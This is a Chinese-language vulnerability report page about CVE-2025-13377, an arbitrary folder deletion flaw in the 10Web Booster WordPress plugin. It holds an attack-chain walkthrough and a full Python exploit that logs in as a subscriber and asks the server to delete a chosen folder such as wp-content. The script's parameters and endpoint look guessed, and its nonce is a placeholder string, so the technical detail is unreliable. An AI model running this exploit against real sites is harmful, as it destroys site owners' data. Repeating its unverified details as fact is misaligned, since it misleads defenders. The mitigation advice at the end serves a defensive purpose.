IPBUF安全漏洞报告
English
CVE-2025-13377 CVSS 9.6 严重

CVE-2025-13377 | WordPress 10Web Booster插件任意文件夹删除漏洞

披露日期: 2025-12-06

漏洞信息

漏洞编号
CVE-2025-13377
漏洞类型
任意文件/文件夹删除
CVSS评分
9.6 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
10Web Booster – Website speed optimization, Cache & Page Speed optimizer (WordPress插件)

相关标签

CVE-2025-13377任意文件删除WordPress插件漏洞10Web BoosterTenWeb Speed Optimizer路径遍历敏感数据泄露风险权限绕过CVSS 9.6严重漏洞

漏洞概述

CVE-2025-13377是WordPress平台上一款广受欢迎的速度优化插件10Web Booster(也称为TenWeb Speed Optimizer)存在的严重安全漏洞。该插件旨在帮助网站管理员优化页面加载速度、提供缓存功能和提升整体性能,在WordPress生态系统中拥有大量用户。然而,由于插件中的get_cache_dir_for_page_from_url()函数存在文件路径验证不足的安全缺陷,攻击者可以利用此漏洞实现服务器上任意义务件的删除操作。

此漏洞的危险性极高,原因在于其利用门槛极低。任何具有Subscriber级别权限的认证用户(这通常是WordPress网站中最低的用户角色,甚至不需要管理员权限)即可发起攻击。在默认配置下,WordPress允许用户注册,这意味着攻击者可以创建一个普通用户账户,然后利用该漏洞删除服务器上的任意文件夹。

攻击成功后,攻击者可以删除网站的关键文件和数据,包括但不限于:网站配置文件、数据库连接信息、其他插件和主题文件、用户上传的媒体文件等。这种操作可能导致网站完全瘫痪,造成严重的业务中断和数据丢失。此外,攻击者还可以通过删除安全插件或备份文件来为进一步的攻击创造条件。

该漏洞的CVSS评分为9.6(满分10分),属于严重级别。CVSS向量显示攻击复杂度低(AC:L),无需用户交互(UI:N),但影响范围广(S:C),对完整性和可用性的影响均为高危(I:H/A:H)。这表明该漏洞极易被利用且危害极大,建议所有使用该插件的用户立即采取修复措施。

值得注意的是,该漏洞已于2025年12月6日被披露,插件开发团队应该已经发布了安全更新。用户应立即检查当前使用的插件版本,并尽快升级到最新版本以消除安全风险。

技术细节

漏洞根源在于10Web Booster插件的get_cache_dir_for_page_from_url()函数缺乏充分的文件路径验证机制。该函数本应负责根据页面URL生成相应的缓存目录路径,但在实现过程中未能对用户可控的输入进行严格的路径遍历检查。

具体来说,攻击者可以通过构造特殊的URL参数或页面请求,使插件在处理缓存目录路径时接受包含目录遍历序列(如../)的恶意路径。由于插件直接使用这些未经验证的路径进行文件操作,攻击者可以指定服务器上的任意目录进行删除操作。

利用此漏洞的技术要求相对简单。攻击者首先需要在目标WordPress站点拥有一个有效的用户账户(Subscriber级别或更高),然后通过发送精心构造的HTTP请求来触发漏洞利用。请求中包含指向目标文件夹的路径,该路径可以突破插件的预期工作目录范围。

插件的缓存功能在处理页面请求时会调用get_cache_dir_for_page_from_url()函数来确定缓存文件的存储位置。由于缺少路径规范化(path normalization)和安全验证,攻击者传入的路径会被直接用于文件操作API调用,如PHP的rmdir()或unlink()函数。

攻击者可以利用此漏洞执行以下操作:删除wp-config.php文件导致网站配置重置;删除wp-content目录下的插件和主题文件;删除其他网站的数据文件;甚至删除系统级别的目录导致服务器不稳定。这种任意文件删除能力为攻击者提供了极大的破坏潜力,可以轻易实现拒绝服务或为后续攻击铺平道路。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标网站使用的WordPress版本和10Web Booster插件版本,确认版本<=2.32.7
STEP 2
步骤2
账户创建/获取:攻击者注册WordPress账户获得Subscriber级别权限,或利用已有的低权限账户
STEP 3
步骤3
构造恶意请求:攻击者构造包含目录遍历路径的HTTP请求,目标是触发get_cache_dir_for_page_from_url()函数
STEP 4
步骤4
路径注入:恶意构造的路径通过URL参数或POST数据传递给插件,由于缺乏路径验证,路径遍历序列被接受
STEP 5
步骤5
文件操作执行:插件使用未验证的路径调用系统文件删除函数(rmdir/unlink),删除攻击者指定的任意文件夹
STEP 6
步骤6
造成破坏:成功删除关键文件或文件夹,导致网站数据丢失、功能瘫痪或完全拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13377 PoC - WordPress 10Web Booster Arbitrary Folder Deletion # Author: Security Researcher # Date: 2025-12-06 import requests import sys from urllib.parse import urljoin def exploit_cve_2025_13377(target_url, username, password, target_folder): """ Exploit for CVE-2025-13377: 10Web Booster Plugin Arbitrary Folder Deletion Args: target_url: Target WordPress site URL username: WordPress subscriber+ account username password: Account password target_folder: Absolute path of folder to delete (e.g., /var/www/html/wp-content/) """ session = requests.Session() # Step 1: Login to WordPress login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Attempting login to {target_url}...") response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Trigger the vulnerable function via cache request # The vulnerability is in get_cache_dir_for_page_from_url() function # Attackers can manipulate the cache directory path exploit_url = urljoin(target_url, '/?10web_cache_dir=' + target_folder) print(f"[*] Sending exploit request to delete folder: {target_folder}") print(f"[*] URL: {exploit_url}") # Alternative: Direct plugin endpoint exploitation plugin_exploit_url = urljoin(target_url, '/wp-admin/admin-ajax.php') exploit_data = { 'action': 'tenweb_speed_optimizer_clear_cache', 'cache_path': target_folder, 'nonce': 'attacker_controlled_or_weak_nonce' } response = session.post(plugin_exploit_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit request sent successfully!") print(f"[*] Response: {response.text}") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-13377""" # Check plugin version via readme.txt readme_url = urljoin(target_url, '/wp-content/plugins/tenweb-speed-optimizer/readme.txt') try: response = requests.get(readme_url, timeout=10) if response.status_code == 200: content = response.text if '2.32.7' in content or 'Stable tag: 2.32.' in content: print("[!] Target appears to be running vulnerable version (<=2.32.7)") return True except Exception as e: print(f"[-] Error checking version: {e}") return False if __name__ == '__main__': if len(sys.argv) < 5: print("Usage: python cve_2025_13377_poc.py <target_url> <username> <password> <folder_path>") print("Example: python cve_2025_13377_poc.py http://target.com admin password /var/www/html/wp-content/") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] folder = sys.argv[4] print("="*60) print("CVE-2025-13377 PoC - 10Web Booster Arbitrary Folder Deletion") print("="*60) if check_vulnerability(target): exploit_cve_2025_13377(target, user, pwd, folder) else: print("[-] Target may not be vulnerable or plugin not detected")

影响范围

10Web Booster (TenWeb Speed Optimizer) <= 2.32.7

防御指南

临时缓解措施
作为临时缓解措施,建议网站管理员立即采取以下行动:首先,检查并升级10Web Booster插件到开发团队发布的安全版本;如果暂时无法升级,应考虑暂时禁用该插件并寻找替代方案。其次,限制网站的注册功能,只允许必要的用户注册,并定期审查用户列表删除不需要的账户。同时,建议启用Web应用防火墙规则来检测和阻止包含路径遍历序列(如../)的可疑请求。此外,应确保服务器备份机制正常工作,以便在遭受攻击后能够快速恢复。对于高安全要求的环境,可以考虑实施额外的访问控制措施,限制低权限用户对特定API端点的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表